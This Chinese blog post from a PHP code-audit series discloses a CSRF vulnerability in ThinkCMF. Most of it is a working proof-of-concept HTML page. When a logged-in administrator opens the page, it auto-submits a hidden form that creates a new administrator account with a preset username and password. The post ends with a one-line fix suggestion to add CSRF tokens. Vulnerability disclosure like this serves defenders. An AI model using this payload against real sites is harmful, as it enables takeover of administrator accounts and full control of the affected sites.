ThinkCMF存在CSRF漏洞可创建管理员账号

最新推荐文章于 2023-03-24 12:54:27 发布

云雕

最新推荐文章于 2023-03-24 12:54:27 发布

阅读量610

点赞数 2

分类专栏： PHP代码审计文章标签：渗透测试代码审计 PHP代码审计 thinkCMF CSRF漏洞

本文链接：https://blog.csdn.net/yun2diao/article/details/92573188

版权

PHP代码审计专栏收录该内容

11 篇文章 1 订阅

订阅专栏

thinkCMF官网： https://www.thinkcmf.com/

一、POC

当管理员登录后，打开包含以下内容的网页，就会自动创建一个管理员账号。
注：需要把url变量中的http://tp.im更改为安装时设置的域名。
以下内容保存为一个html网页，如test.html。

<html><body>
<script type="text/javascript">
function post(url, fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += " <input type=\"hidden\" name=\"user&#95;login\" value=\"CSRFadministrator\" />";
fields += " <input type=\"hidden\" name=\"user&#95;pass\" value=\"admin1234\" />";
fields += " <input type=\"hidden\" name=\"user&#95;email\" value=\"456&#64;bing&#46;com\" />";
fields += " <input type=\"hidden\" name=\"role&#95;id&#91;&#93;\" value=\"1\" />";

var url = "http://tp.im/admin/user/addpost.html";
post(url, fields);
}
window.onload = function(){csrf_hack();}
</script>
</body></html>

二、漏洞证明：

在这里插入图片描述修复建议：设置CSRF-token保护。

云雕

关注

2
点赞
踩
1

收藏

觉得还不错? 一键收藏
1
评论
ThinkCMF存在CSRF漏洞可创建管理员账号

thinkCMF官网： https://www.thinkcmf.com/一、POC当管理员登录后，打开包含以下内容的网页，就会自动创建一个管理员账号。注：需要把url变量中的http://tp.im更改为安装时设置的域名。以下内容保存为一个html网页，如test.html。<html><body><script type="text/javascrip...
复制链接

扫一扫